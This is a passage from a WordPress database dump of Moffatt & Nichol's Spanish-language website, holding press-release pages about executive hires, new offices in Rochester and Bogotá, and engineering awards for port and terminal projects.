925-944-5411\r\n\r\n<strong>fax</strong>\r\n\r\n+1 925-944-4732\r\n<div class=\"followus\"><a title=\"Volver al principio \" href=\"#top\">Volver al principio ^</a></div>\r\n</div>\r\n</div>\r\n</div>\r\n<div class=\"topbtn\"><a title=\"Volver al principio\" href=\"#top\">Volver al principio</a></div>','Nuestras oficinas','','inherit','open','open','','14-revision-15','','','2013-09-12 00:14:03','2013-09-12 00:14:03','',14,'http://moffattnichol.com/spanish/14-revision-15/',0,'revision','',0),(2793,1,'2013-10-31 17:16:17','2013-10-31 17:16:17','','James-Beaver','','inherit','open','open','','james-beaver','','','2013-10-31 17:16:17','2013-10-31 17:16:17','',0,'http://moffattnichol.com/spanish/wp-content/uploads/2013/10/James-Beaver.jpg',0,'attachment','image/jpeg',0),(2794,1,'2013-10-31 17:16:26','2013-10-31 17:16:26','','Port-Paviliion-at-Broadway-Pier-No.-2','','inherit','open','open','','port-paviliion-at-broadway-pier-no-2','','','2013-10-31 17:16:26','2013-10-31 17:16:26','',0,'http://moffattnichol.com/spanish/wp-content/uploads/2013/10/Port-Paviliion-at-Broadway-Pier-No.-2.jpg',0,'attachment','image/jpeg',0),(2795,1,'2013-10-31 17:16:32','2013-10-31 17:16:32','','Tampa-Gateway','','inherit','open','open','','tampa-gateway','','','2013-10-31 17:16:32','2013-10-31 17:16:32','',0,'http://moffattnichol.com/spanish/wp-content/uploads/2013/10/Tampa-Gateway.jpg',0,'attachment','image/jpeg',0),(2796,1,'2012-08-29 14:08:45','2012-08-29 14:08:45','<div class=\"content_faq\">\r\n<h1>comunicados de prensa</h1>\r\n&nbsp;\r\n<div class=\"press-release-para\">\r\n<h3 id=\"1\">Shaun McFarlane se une a la empresa para dirigir las operaciones en Alaska</h3>\r\n<a href=\"http://www.moffattnichol.com/spanish/wp-content/uploads/2012/07/shaunmcfarlane.jpg\"><img title=\"Shaun McFarlane\" src=\"http://www.moffattnichol.com/spanish/wp-content/uploads/2012/07/shaunmcfarlane.jpg\" alt=\"\" width=\"199\" height=\"300\" /></a>\r\n\r\nLONG BEACH, CA, 30 de julio, 2012— Moffatt & Nichol se complace en dar la bienvenida al ingeniero Shaun McFarlane, quien se integra a Moffatt & Nichol con 23 años de variada experiencia en ingeniería de frentes costeros obtenida en muchos proyectos en Alaska y a lo largo de la costa oeste de los Estados Unidos.\r\n\r\nLa experiencia del ingeniero McFarlane incluye proyectos marítimos y costeros nacionales e internacionales para industrias privadas y públicas y para agencias gubernamentales federales, estatales y municipales. Sus antecedentes como gerente de proyecto y como ingeniero jefe/principal de frentes costeros se relacionan con una gama de servicios, desde la selección del sitio hasta el planeamiento conceptual y la gestión de autorizaciones, y desde el diseño final hasta la gestión de la construcción. Sus antecedentes y su experiencia se ajustan perfectamente a su función como Director de la Unidad de Negocios de la oficina de Moffatt & Nichol en Anchorage. Él se desempeñará como el representante de la empresa en Alaska y trabajará con importantes líderes del sector y clientes para brindar la renombrada cartera de servicios de la compañía a algunos de los climas marinos más desafiantes y ambientes más sensibles en el mundo.\r\n\r\n</div>\r\n&nbsp;\r\n<div class=\"followus\"><a title=\"Volver al principio\" href=\"http://www.moffattnichol.com/spanish/press-releases-2011/#top\">Volver al principio ^</a></div>\r\n&nbsp;\r\n<div class=\"press-release-para\">\r\n<h3 id=\"2\">Catherine Fritter se une a Moffatt & Nichol para dirigir la oficina de Vancouver</h3>\r\n<a href=\"http://www.moffattnichol.com/spanish/wp-content/uploads/2012/07/DSC02051-1.jpg\"><img title=\"Catherine Fritter\" src=\"http://www.moffattnichol.com/spanish/wp-content/uploads/2012/07/DSC02051-1.jpg\" alt=\"\" width=\"214\" height=\"240\" /></a>\r\n\r\nLONG BEACH, CA, 30 de julio, 2012— Moffatt & Nichol se complace en dar la bienvenida a la ingeniera Catherine Fritter, como la Directora de la Unidad de Negocios de la empresa en la oficina de Vancouver, Columbia Británica. Antes de unirse a Moffatt & Nichol, la ingeniera Fritter trabajó con Ausenco Sandwell, donde se desempeñó como gerente del Departamento de Automatización y Electricidad.\r\n\r\nLa ingeniera Fritter tiene una gran experiencia en la gerencia de departamentos y proyectos, planeamiento comercial y estratégico y administración de cuentas de clientes. Su experiencia en liderazgo y sus talentos técnicos serán un valioso aporte para el equipo de la empresa en Vancouver, donde dirigirá un grupo de ingenieros profesionales, gerentes de proyectos y expertos en frentes costeros.\r\n\r\nLa ingeniera Fritter fue nombrada recientemente al Consejo de directores de ACEC y presta servicios como directora designada para el capítulo de Columbia Británica de la organización. Ella es ingeniera profesional en Canadá y recibió su diploma de pregrado en ingeniería eléctrica en la Universidad de Columbia Británica.\r\n\r\n</div>\r\n&nbsp;\r\n<div class=\"followus\"><a title=\"Volver al principio\" href=\"http://www.moffattnichol.com/spanish/press-releases-2011/#top\">Volver al principio ^</a></div>\r\n&nbsp;\r\n<div class=\"press-release-para\">\r\n<h3 id=\"3\">Richard Steinke dirigirá la práctica portuaria de Moffatt & Nichol</h3>\r\n<a href=\"http://www.moffattnichol.com/spanish/wp-content/uploads/2012/01/Steinke-Final-010.jpg\"><img title=\"Steinke Final 010\" src=\"http://www.moffattnichol.com/spanish/wp-content/uploads/2012/01/Steinke-Final-010-214x300.jpg\" alt=\"\" width=\"214\" height=\"300\" /></a>\r\n\r\nLONG BEACH, CA, 30 de mayo, 2012— Moffatt & Nichol anunció hoy que Richard D. Steinke, anterior Director Ejecutivo del Puerto de Long Beach, se ha unido a la empresa como Jefe de Práctica Portuaria. En esta función, sus antecedentes y su experiencia fortalecerán la presencia y reputación de la empresa como el líder mundial en el planeamiento y diseño de terminales marítimos.\r\n\r\n“Dick aporta una increíble y diversa experiencia y conocimiento del sector, junto con el desarrollo, la gestión y la implementación de iniciativas estratégicas que afectan la operación de las instalaciones marinas. Nos complace sobremanera contar con tal experiencia para apoyar el crecimiento estratégico de Moffatt & Nichol y para proporcionar valor a nuestros clientes”, dijo el Presidente de la compañía, Eric Nichol.\r\n\r\nDespués de 22 años de trabajo en el Puerto de Long Beach, Steinke se retiró de su cargo de 14 años como Director Ejecutivo en 2011, dejando un legado de innovación. Mientras estuvo a su cargo, el Puerto de Long Beach aseguró su posición competitiva entre los primeros puertos del mundo, se destacó como líder en seguridad portuaria después del atentado del 11 de septiembre, y fue pionero en la política de puerto ecológico de 2005 y su premiado programa \"Camiones Verdes\". Experto en desarrollar sociedades de colaboración, Steinke guió al puerto en la obtención de la aprobación para lanzar el trascendental proyecto de redesarrollo del Middle Harbor del puerto ($1000 millones), y el proyecto de reemplazo del puente Gerald Desmond ($950 millones).\r\n\r\n“Es emocionante unirse a una empresa con una reputación tan extraordinaria. Esta es una gran oportunidad de participar en los futuros cometidos de Moffatt & Nichol, a medida que la compañía se proyecta sobre su largo historial de éxitos y expande su posición global,” señaló Dick Steinke.\r\nLíder en la industria portuaria, Steinke ha representado la U.S. West Coast Collaboration, una sociedad de los puertos de la costa oeste y los principales ferrocarriles del oeste, y se ha desempeñado como Presidente de la Asociación Americana de Autoridades Portuarias, una alianza de más de 150 autoridades portuarias de los Estados Unidos, Canadá, el Caribe y América Latina.\r\n\r\nAntes de unirse al Puerto de Long Beach, Steinke trabajó cinco años como funcionario responsable de los activos aeroportuarios en el Aeropuerto internacional de Stapleton en su nativo Denver, Colorado. Se graduó en el Chadron State College de Nebraska y realizó estudios de postgrado en la Universidad de Colorado.\r\n\r\n&nbsp;\r\n<div class=\"followus\"><a title=\"Volver al principio\" href=\"http://www.moffattnichol.com/spanish/press-releases-2011/#top\">Volver al principio ^</a></div>\r\n&nbsp;\r\n<h3 id=\"4\">Mark Faeth se une a la oficina de Nueva York de Moffatt & Nichol como Vicepresidente</h3>\r\n<a href=\"http://www.moffattnichol.com/spanish/wp-content/uploads/2012/01/Mark-Faeth.jpg\"><img class=\"alignnone size-medium wp-image-2465\" title=\"Mark Faeth\" src=\"http://www.moffattnichol.com/spanish/wp-content/uploads/2012/01/Mark-Faeth-200x300.jpg\" alt=\"\" width=\"200\" height=\"300\" /></a>\r\n\r\nLONG BEACH, CA, 30 de marzo, 2012— Moffatt & Nichol le da la bienvenida al ingeniero Mark Faeth, como Vicepresidente. Radicado en las instalaciones de la empresa en Nueva York, él se une a Moffatt & Nichol con 33 años de variada experiencia en ingeniería marítima y gerencia de proyectos. En su nueva función, el ingeniero Faeth ampliará la presencia marítima de la empresa en apoyo de las prácticas de puertos, energía y frentes de mar urbanos en toda la compañía.\r\n\r\nAnteriormente se desempeñó como Vicepresidente Principal de Halcrow Inc., en donde sus responsabilidades incluían la supervisión y dirección de proyectos importantes en su unidad de negocios marítimos, y también trabajó como Director de Operaciones y Director Comercial para sus operaciones en los EE. UU. Antes de su adquisición por Halcrow en 2005, él fue Socio Principal de la empresa Han-Padron Associates.\r\n\r\nEl ingeniero Faeth ha dado soporte a clientes importantes, entre ellos la Marina de EE. UU., Abu Dhabi Ports Company y ExxonMobil. Tiene un diploma de postgrado en ingeniería estructural del Instituto Politécnico de la Universidad de Nueva York, y entre sus áreas específicas de experiencia profesional figuran el análisis estructural y el diseño de instalaciones marítimas en áreas cercanas a la costa y costa afuera, tecnología de amarre y defensas, y gerencia de proyectos.\r\n<div class=\"followus\"><a title=\"Volver al principio\" href=\"http://www.moffattnichol.com/spanish/press-releases-2011/#top\">Volver al principio ^</a></div>\r\n&nbsp;\r\n<h3 id=\"5\">Jim Mccluskie se une a Moffatt & Nichol como Director de la oficina de Long Beach</h3>\r\n<a href=\"http://www.moffattnichol.com/spanish/wp-content/uploads/2012/01/Jim-McCluskie.jpg\"><img class=\"alignnone size-medium wp-image-2466\" title=\"Jim McCluskie\" src=\"http://www.moffattnichol.com/spanish/wp-content/uploads/2012/01/Jim-McCluskie-199x300.jpg\" alt=\"\" width=\"199\" height=\"300\" /></a>\r\n\r\nLONG BEACH, CA, 13 de marzo, 2012—Moffatt & Nichol se complace en dar la bienvenida a Jim McCluskie como nuevo Director de la Unidad de Negocios de la oficina de Long Beach, California. El ingeniero McCluskie aporta cerca de 30 años de experiencia ejecutiva en el desarrollo de grandes proyectos de infraestructura, con una concentración en los sectores privado y público al tiempo que mantiene gran atención en el desarrollo de negocios y de clientes.\r\n\r\nAntes de unirse a Moffatt & Nichol, el ingeniero McCluskie se desempeñó como Vicepresidente para Engineering & Environmental Consultants, Inc. donde era responsable del desarrollo del plan anual de negocios, de establecer y mantener una presencia en la comunidad y de identificar oportunidades de desarrollo de negocios, además de negociaciones efectivas de contratos, gestión de riesgos y ventas operativas.\r\n\r\nBajo su liderazgo con PBS&J, el ingeniero McCluskie se desempeñó como Vicepresidente Principal y estuvo a cargo de 800 empleados en más de 60 oficinas en Estados Unidos. Su principal experiencia de proyectos incluye el diseño y la gestión del programa para el parque temático de Abu Dhabi en una isla de cerca de 1020 hectáreas con 24 atracciones, así como la evaluación medioambiental y el diseño para el proyecto de transmisión de 3000 megavatios para el parque eólico de Anschutz en Wyoming, por $3 mil millones. Con amplia experiencia en el desarrollo de negocios, la gerencia de operaciones y la ejecución de proyectos, el ingeniero McCluskie aporta su enfoque práctico de liderazgo y su pensamiento estratégico a la empresa y a su equipo.\r\n\r\nEl ingeniero McCluskie es graduado de Lake Superior State, Michigan donde recibió su diploma de pregrado en ingeniería civil.\r\n<div class=\"followus\"><a title=\"Volver al principio\" href=\"http://www.moffattnichol.com/spanish/press-releases-2011/#top\">Volver al principio ^</a></div>\r\n&nbsp;\r\n<h3 id=\"6\">Gary Antonucci se une a Moffatt & Nichol como Ingeniero principal de puentes</h3>\r\n<a href=\"http://www.moffattnichol.com/spanish/wp-content/uploads/2012/01/GAntonucci-headshot-retouched.jpg\"><img class=\"alignnone size-medium wp-image-2467\" title=\"GAntonucci headshot-retouched\" src=\"http://www.moffattnichol.com/spanish/wp-content/uploads/2012/01/GAntonucci-headshot-retouched-231x300.jpg\" alt=\"\" width=\"231\" height=\"300\" /></a>\r\n\r\nLONG BEACH, CA, 13 de diciembre, 2011—Moffatt & Nichol se complace en darle la bienvenida a Gary Antonucci como ingeniero principal de puentes para la oficina de Walnut Creek de la empresa. El ingeniero Antonucci aporta a Moffatt & Nichol sus más de 30 años de experiencia en ingeniería, incluyendo más de 15 años con TY Lin International en el planeamiento y diseño de instalaciones de transporte que abarcan carreteras urbanas e interestatales y sistemas ferroviarios.\r\n\r\nSu experiencia incluye el diseño de puentes y estructuras de transporte, trenes de pasajeros de servicio pesado y ligero, senderos para peatones/bicicletas, sistemas de abastecimiento de agua e instalaciones de control de inundaciones. Durante los últimos 15 años, ha estado enfocado específicamente en la gerencia de proyectos de tareas complejas que requerían grandes equipos multidisciplinarios. Su trabajo ha incluido más de 200 proyectos de puentes individuales. Con una gran experiencia en el diseño de puentes para Caltrans (Departamento de Transporte de California), ha completado muchos proyectos de autopistas estatales que necesitaban la revisión y aprobación de Caltrans.\r\n\r\nLa experiencia del ingeniero Antonucci también incluye proyectos del Programa de Puentes Carreteros (HBP, por sus siglas en inglés) federal y ha realizado la gerencia de proyecto para varias obras mayores con este programa, con costos individuales de proyectos superiores a $20 millones. Ha trabajado como Gerente de Proyectos o Ingeniero Estructural principal para más de 20 pasos a desnivel de carreteras/vías férreas. Su experiencia en estos proyectos ha incluido trabajar como enlace con el personal del ferrocarril, así como preparar acuerdos con la Comisión de Servicios Públicos (PUC, por sus siglas en inglés) y ferroviarios. El señor Antonucci es ingeniero profesional y recibió su diploma de pregrado en ingeniería civil de la Universidad Politécnica del Estado de California, Pomona.\r\n<div class=\"followus\"><a title=\"Volver al principio\" href=\"http://www.moffattnichol.com/spanish/press-releases-2011/#top\">Volver al principio ^</a></div>\r\n&nbsp;\r\n<h3 id=\"7\">Carlos Noguera se une a la empresa como Gerente General para la oficina de Colombia</h3>\r\n<a href=\"http://www.moffattnichol.com/spanish/wp-content/uploads/2012/01/Noguera-Carlos-2.jpg\"><img class=\"alignnone size-medium wp-image-2468\" title=\"Noguera, Carlos 2\" src=\"http://www.moffattnichol.com/spanish/wp-content/uploads/2012/01/Noguera-Carlos-2-199x300.jpg\" alt=\"\" width=\"199\" height=\"300\" /></a>\r\n\r\nLONG BEACH, CA, 13 de diciembre, 2011—Moffatt & Nichol da la bienvenida a la empresa a Carlos Noguera como Gerente General de la oficina de Colombia S.A.S. El ingeniero Noguera aporta más de 30 años de experiencia y un profundo conocimiento de la industria de la ingeniería de Colombia, específicamente en las áreas de consultoría medioambiental, evaluación de la calidad del agua, diseño de canales de navegación, dragado y estudios de factibilidad económica y técnica en Colombia y a nivel mundial.\r\n\r\nEl ingeniero Noguera se une a Moffatt & Nichol después de trabajar más de 30 años con HMV Ingenieros, una compañía colombiana, donde tuvo un papel importante como Representante legal e Ingeniero Director General desde 2002, supervisando proyectos en los sectores privado y público. La experiencia de trabajo anterior del ingeniero Noguera con Moffatt & Nichol incluyó el diseño del acceso al canal de navegación al Puerto de Buenaventura, Colombia, donde fue un factor clave en los logros de la empresa en Colombia.\r\n\r\nSu experiencia profesional también incluye la evaluación de los impactos medioambientales en proyectos de desarrollo. Habiendo trabajado como consultor medioambiental, sus conocimientos especializados incluyen estudios de la calidad del aire y el impacto medioambiental de desarrollos industriales, el desarrollo y control durante la ejecución de estudios sobre la evaluación de riesgos naturales, el diseño de canales de navegación, sistemas de atraque y dragas.\r\n\r\nEl ingeniero Noguera tiene un diploma de ingeniería civil de la Universidad La Gran Colombia y una especialización en Evaluación del impacto medioambiental de la Universidad Jorge Tadeo Lozano – Tuffs University, en Bogotá, Colombia.\r\n<div class=\"followus\"><a title=\"Volver al principio\" href=\"http://www.moffattnichol.com/spanish/press-releases-2011/#top\">Volver al principio ^</a></div>\r\n&nbsp;\r\n<h3 id=\"8\">Helga Junold encabezará Grupo comercial global con sede en Nueva York</h3>\r\n<a href=\"http://www.moffattnichol.com/spanish/wp-content/uploads/2012/01/Helga-Junold.jpg\"><img class=\"alignnone size-medium wp-image-2469\" title=\"Helga Junold\" src=\"http://www.moffattnichol.com/spanish/wp-content/uploads/2012/01/Helga-Junold-199x300.jpg\" alt=\"\" width=\"199\" height=\"300\" /></a>\r\n\r\nLONG BEACH, CA, 30 de noviembre, 2011 — Moffatt & Nichol se complace en dar la bienvenida a Helga Junold, ingeniera civil, como directora de la unidad de negocios para la unidad de servicios comerciales y consultivos con base en Nueva York. La ingeniera Junold se une a Moffatt & Nichol después de trabajar más de 20 años con Halcrow, donde puso en marcha la presencia estadounidense de la empresa. Dirigió e incrementó una importante y exitosa especialidad consultiva de transacciones estratégicas en las áreas de puertos, carga, logística y asociaciones público-privadas, reuniendo competencias en ingeniería civil, financiamiento del desarrollo de infraestructura y administración general.\r\n\r\nLa ingeniera Junold ha trabajado como Gerente de proyectos en el Reino Unido, Estados Unidos y América Latina. Trabajó con prestamistas y garantes, incluyendo el banco Export-Import de Estados Unidos y el Departamento de garantía de créditos a la exportación del Reino Unido, y dirigió importantes iniciativas de desarrollo y financiamiento de infraestructura en el Reino Unido, Argentina y Venezuela.\r\n\r\nTambién ha dado apoyo a importantes clientes, entre los que podemos incluir la Autoridad portuaria de Nueva York y Nueva Jersey, el Departamento de Transporte de Texas, la Corporación de Desarrollo Económico de Nueva York, el Departamento del Tesoro de Nueva Jersey, y varios desarrolladores de infraestructura del sector privado. Junold es una ingeniera colegiada en el Reino Unido y obtuvo su diploma de maestría de Hidráulica en ingeniería civil en la Universidad de Salford, Reino Unido.\r\n<div class=\"followus\"><a title=\"Volver al principio\" href=\"http://www.moffattnichol.com/spanish/press-releases-2011/#top\">Volver al principio ^</a></div>\r\n&nbsp;\r\n<h3 id=\"9\">Moffatt & Nichol inaugura una oficina en Eastern Great Lakes</h3>\r\nLONG BEACH, CA, 8 de agosto, 2011— Moffatt & Nichol se complace en anunciar la expansión de nuestra empresa con la incorporación de la oficina de Eastern Great Lakes, ubicada en Rochester, Nueva York. Dirigida por John Schirmer, Gerente principal de proyectos, la oficina de Eastern Great Lakes se concentrará en proporcionar soluciones innovadoras a puertos, frentes de mar urbanos, puertos deportivos, transporte y movimiento de mercancías, así como a las industrias marítimas relacionadas. Durante los tres últimos años, Moffatt & Nichol ha apoyado el área con varios proyectos relacionados con el planeamiento, diseño e ingeniería del frente costero. Ubicada en la parte oeste de Nueva York, con un práctico acceso a Canadá y a la región de los Grandes Lagos, la nueva oficina servirá como un centro crítico para cubrir las necesidades de nuestros clientes de todo el mundo.\r\n\r\nMoffatt & Nichol\r\n250 Mill Street, Suite 307\r\nRochester, NY 14614\r\nP: 585-641-7128\r\nE: <a href=\"mailto:jschirmer@moffattnichol.com\">jschirmer@moffattnichol.com</a>\r\n<div class=\"followus\"><a title=\"Volver al principio\" href=\"http://www.moffattnichol.com/spanish/press-releases-2011/#top\">Volver al principio ^</a></div>\r\n&nbsp;\r\n<h3 id=\"10\">Richard Rocktoff se une como Gerente Principal de proyectos de transporte</h3>\r\n<a href=\"http://www.moffattnichol.com/spanish/wp-content/uploads/2012/01/Rocktoff_photo.jpg\"><img class=\"alignnone size-medium wp-image-2470\" title=\"Rocktoff_photo\" src=\"http://www.moffattnichol.com/spanish/wp-content/uploads/2012/01/Rocktoff_photo-239x300.jpg\" alt=\"\" width=\"239\" height=\"300\" /></a>\r\n\r\nLONG BEACH, CA, 25 de julio, 2010—Richard Rocktoff se une al equipo de transporte de Moffatt & Nichol como Gerente Principal de proyectos de transporte. Con más de 20 años de experiencia en proyectos de transporte, el ingeniero Rocktoff aporta su experiencia profesional y su singulares capacidades en complejas geometrías de diseño horizontal y vertical, diseño de intercambios e intersecciones, servicios post-diseño y proyectos de entrega alternativa a la empresa.\r\n\r\nAntes de unirse a Moffatt & Nichol, el ingeniero Rocktoff fue responsable de varios de los mayores proyectos de entrega alternativa del Departamento de Transporte de Florida (FDOT, por sus siglas en inglés) en varios distritos del FDOT. Anteriormente trabajó como Subgerente de diseño en la asociación público-privada para la reconstrucción de la carretera interestatal I-595 del distrito cuatro del FDOT. Coordinó los esfuerzos de los diferentes equipos de diseño para terminar un diseño de dieciocho meses que incluyó diez intercambios sobre 19 km de autopista interestatal. El proyecto P3 de $1200 millones también introdujo tres carriles expresos reversibles y con peaje dentro del derecho de paso existente.\r\n\r\nComo ingeniero de proyecto del diseño y construcción de la carretera US 1 y del puente Jewfish Creek, el ingeniero Rocktoff supervisó el diseño de la reconstrucción de 11,2 km de la carretera US 1, incluido el reemplazo del puente de báscula existente desde Key Largo hasta Florida continental por un puente de alto nivel de 2,4 km y la adición de dos nuevos intercambios. También fue el ingeniero colegiado responsable para el proyecto del diseño y la construcción de la carretera interestatal I-4 y manejó el diseño de la calzada en la reconstrucción del intercambio US 27 y del ensanchamiento y revestimiento de 14,4 km de la carretera I-4 a través del Green Swamp.\r\n\r\nEl ingeniero Rocktoff tiene certificación FDOT en Mantenimiento avanzado de diseño de tráfico y tiene gran experiencia en las aplicaciones de software Geopak y MicroStation. Tiene un diploma de MBA de la Universidad del Sur de Florida y un diploma de pregrado de ingeniería civil de la Universidad de Florida.\r\n<div class=\"followus\"><a title=\"Volver al principio\" href=\"http://www.moffattnichol.com/spanish/press-releases-2011/#top\">Volver al principio ^</a></div>\r\n&nbsp;\r\n<h3 id=\"11\">Moffatt & Nichol se expande en América Latina con nueva oficina en Colombia</h3>\r\nLONG BEACH, CA, 18 de julio, 2011—Moffatt & Nichol continúa su expansión en América Latina con la creación de una oficina en Bogotá, Colombia. Aunque Moffatt & Nichol ha estado activo durante un largo tiempo en Colombia, el inicio de Moffatt & Nichol Colombia S.A.S. marca el sincero compromiso de la empresa con una presencia a largo plazo en el país para apoyar la continuada modernización de la infraestructura marítima y de transporte de Colombia.\r\n\r\nMoffatt &amp; Nichol\r\nAv. Cra. 9, No. 113-52, Of. 1201\r\nTorre Unidas 2\r\n\r\nBogotá D.C., Colombia\r\nP: +57 313 373 5350\r\nE: <a href=\"mailto:dames@moffattnichol.com\">dames@moffattnichol.com</a>\r\n<div class=\"followus\"><a title=\"Volver al principio\" href=\"http://www.moffattnichol.com/spanish/press-releases-2011/#top\">Volver al principio ^</a></div>\r\n&nbsp;\r\n<h3 id=\"12\">Proyecto de GPA de Moffatt & Nichol gana premio de ingeniería de Georgia</h3>\r\nSAVANNAH, GA, 1 de abril, 2011— Georgia Engineering Alliance confirió a Moffatt & Nichol un Premio de honor en Excelencia de ingeniería por el proyecto del corredor Cross Terminal Road & Bridge. Como parte de un contrato en marcha, Moffatt & Nichol se encargó del planeamiento, diseño y apoyo de construcción para el nuevo corredor “Cross Terminal Road” de 3,2 km a un costo de $6,6 millones, que proporciona un acceso directo desde el extremo norte de la terminal al extremo sur.\r\n\r\n“Creo que este proyecto puede ser el que tenga el mayor impacto en la productividad y seguridad de cualquier proyecto de infraestructura en la terminal de Garden City desde su conversión a una terminal de contenedores”, comentó el ingeniero Wilson Tillotson, Director principal de ingeniería y mantenimiento de instalaciones de la Autoridad Portuaria de Georgia.\r\n\r\nEl Plan para la Terminal de Garden City, FOCUS 2015, de la Autoridad Portuaria de Georgia, incluyó la calzada de un nuevo corredor con cinco carriles de ancho, dos carriles en cada dirección y un carril de giro. El proyecto incluyó la instalación de casi 3,2 km de calzada de concreto asfáltico a través de la terminal, lo que mejoró la circulación en las congestionadas intersecciones, además de haber sido construido sin interrumpir las operaciones de la terminal.\r\n\r\nMoffatt & Nichol prestó soporte a tiempo completo durante varias etapas de la construcción: demolición, reubicación de equipos de servicios públicos, nivelación, construcción del puente, pavimentación, pintado de franjas indicadoras, señalización y control de tráfico, a fin de minimizar el impacto en las operaciones de la terminal. La construcción de Cross Terminal Road fue terminada sin prácticamente causar impacto negativo alguno sobre las operaciones de la terminal, por debajo del presupuesto y dos semanas antes de lo programado.\r\n<div class=\"followus\"><a title=\"Volver al principio\" href=\"http://www.moffattnichol.com/spanish/press-releases-2011/#top\">Volver al principio ^</a></div>\r\n</div>\r\n</div>','Comunicados de prensa-2011','','inherit','open','open','','1399-revision-9','','','2012-08-29 14:08:45','2012-08-29 14:08:45','',1399,'http://moffattnichol.com/spanish/1399-revision-9/',0,'revision','',0),(2797,1,'2013-10-31 17:27:46','2013-10-31 17:27:46','<div class=\"content_faq\">\r\n<h1>comunicados de prensa</h1>\r\n&nbsp;\r\n<div class=\"press-release-para\">\r\n<h3 id=\"15\">Moffatt & Nichol recibe el Premio COPRI 2013 por el proyecto Port Pavilion en Broadway</h3>\r\n<a href=\"http://moffattnichol.com/spanish/wp-content/uploads/2013/10/Port-Paviliion-at-Broadway-Pier-No.-2.jpg\"><img title=\"Port Pavilion en Broadway Pier\" src=\"http://moffattnichol.com/spanish/wp-content/uploads/2013/10/Port-Paviliion-at-Broadway-Pier-No.-2.jpg\" alt=\"\" width=\"650\" height=\"405\" /></a>\r\nSAN DIEGO, CA, septiembre 27, 2013 – La Sociedad Americana de Ingeniería Civil, Instituto de Costas, Océanos, Puertos y Ríos (COPRI) otorgó a Moffatt & Nichol el Premio 2013 a la Excelencia en Proyectos, Categoría Proyecto Pequeño, por el Port Pavilion en Broadway Pier, del Puerto de San Diego. \r\n\r\nEste complejo trabajo rehabilitó un muelle histórico de 1919 y estableció un flexible espacio público frente al mar que hace la doble función de lugar de encuentro y terminal de cruceros.  Moffatt & Nichol trabajó como ingeniero estructural exclusivo para el rediseño del muelle y la adecuación sísmica, y como ingeniero estructural para la estructura apoyada en pilotes, la cual recibió la certificación de Oro por Liderazgo en Energía y Diseño Ambiental. El proyecto ha recibido seis galardones desde 2011, incluyendo el Premio de Mérito a la Excelencia en Ingeniería otorgado por ACEC, Capítulo California. \r\n\r\n“Desde una perspectiva de ingeniería, Port Pavilion en Broadway Pier fue un proyecto técnicamente difícil y de alta visibilidad. El puerto confiaba en las capacidades especializadas y el apoyo de Moffatt & Nichol, desde el inicio del diseño hasta la finalización de la construcción. La singular capacidad de ingeniería estructural para edificaciones de frente de mar de la firma fue fundamental para el éxito del proyecto”, expresó Mark McIntire, Gerente de Proyecto del Puerto de San Diego.\r\n\r\nA través de los 5 años de evolución del proyecto, el equipo de diseño enfrentó retos que incluyeron ajustar el cronograma del proyecto con permisos ambientales, construcción pesada para un muelle en ambiente intermareal. La reutilización adaptativa y estratégica de las estructuras existentes produjo resultados con beneficios a largo plazo, en términos de  costos, cronograma y diseño. \r\n\r\n“La demolición de los muelles existentes y la construcción de una estructura de reemplazo hubiese sido muy cotosa y hubiese tomado mucho tiempo. Además, el proceso de demolición hubiese creado una gran cantidad de desechos de construcción”, comentó Matthew Martínez, Gerente de Proyecto de Moffatt & Nichol. “Como una alternativa al reemplazo de la estructura que data de 1913, se utilizó un proceso adaptativo de re-utilización para modernizar la estructura histórica con el fin de ser reutilizada en este proyecto”. Se hicieron pruebas bajo el nivel del agua de los pilotes que datan de 1930, se encofraron los pilotes de 1913 y se implementó un sistema de aislamiento con base sísmica. Adicionalmente la incorporación de una capa estructural permite a la plataforma del muelle soportar los requerimientos del tráfico moderno. \r\n\r\nEl nuevo Port Pavilion en Broadway Pier representa un exitoso balance entre beneficios económicos y un enfoque de diseño ambientalmente consciente que realza la dinámica y diversa zona costera del centro de la ciudad. \r\n</div>\r\n&nbsp;\r\n<div class=\"followus\"><a title=\"Volver al principio\" href=\"http://www.moffattnichol.com/spanish/press-releases-2011/#top\">Volver al principio ^</a></div>\r\n&nbsp;\r\n<div class=\"press-release-para\">\r\n<h3 id=\"14\">James Beaver se integra a Moffatt & Nichol como director de Servicios Comerciales para Marinas</h3>\r\n<a href=\"http://moffattnichol.com/spanish/wp-content/uploads/2013/10/James-Beaver.jpg\"><img title=\"James Beaver\" src=\"http://moffattnichol.com/spanish/wp-content/uploads/2013/10/James-Beaver.jpg\" alt=\"\" width=\"199\" height=\"300\" /></a>\r\nLONDRES, REINO UNIDO, septiembre 23, 2013 – James Beaver se une a la oficina de Moffatt & Nichol Londres como Director de Servicios Comerciales para Marinas, bajo la práctica de Desarrollo Costero Urbano  y Marinas. El señor Beaver, anteriormente Director de Operaciones de Camper & Nicholson Marinas, tiene más de 24 años de experiencia con operaciones de marinas, nuevos desarrollos, redesarrollos, financiación y debida diligencia. También tiene extensa experiencia en el desarrollo y arrendamiento de inmuebles relacionados con marinas. \r\n\r\n“James trae a Moffatt & Nichol una increíble reputación y habilidades, al igual que amplia experiencia en la planificación y evaluación del mercado para orientar sobre el perfil potencial de demanda para cualquier marina, a través de la consultoría operativa y la puesta en marcha de la instalación”, comentó Robert Nathan, PE, Vicepresidente Senior de Moffatt & Nichol y líder de la práctica de Desarrollo Costero Urbano y Marinas. “Estamos muy contentos que esta experiencia esté disponible para ofrecer apoyo los intereses de nuestros clientes en el rápido crecimiento del mercado de puertos deportivos y estructuras de frente de mar, desarrollando marinas de alto nivel e inmuebles relacionados”.\r\n\r\nEn anteriores funciones, el señor Beaver fue miembro líder de un equipo senior responsable del desarrollo de una marina de 600 puestos de atraque y  operaciones de almacenamiento en seco en Portland, Dorset, Reino Unido, el cual fue el lugar sede para eventos de navegación para las Olimpiadas y para los Juegos Paralímpicos Londres 2012. Desarrolló un papel administrativo en el re-desarrollo y construcción de East Cowes Marina en Isle of Wight, Reino Unido. Recientemente, James dirigió el equipo administrativo senior en colaboración con Yas Marina, sede del Grand Prix Formula 1TM de Abu Dhabi. \r\n\r\nSobre su transición a Moffatt & Nichol, el señor Beaver afirma que, “estoy complacido de unirme a una firma con tan sobresaliente reputación. Es una gran oportunidad poder participar en los emprendimientos futuros de Moffatt & Nichol y continuar desarrollando marinas de primera clase alrededor del mundo”. \r\n</div>\r\n&nbsp;\r\n<div class=\"followus\"><a title=\"Volver al principio\" href=\"http://www.moffattnichol.com/spanish/press-releases-2011/#top\">Volver al principio ^</a></div>\r\n&nbsp;\r\n<div class=\"press-release-para\">\r\n<h3 id=\"13\">Proyecto Tampa Gateway Rail Terminal recibe altos honores en la Bahía de 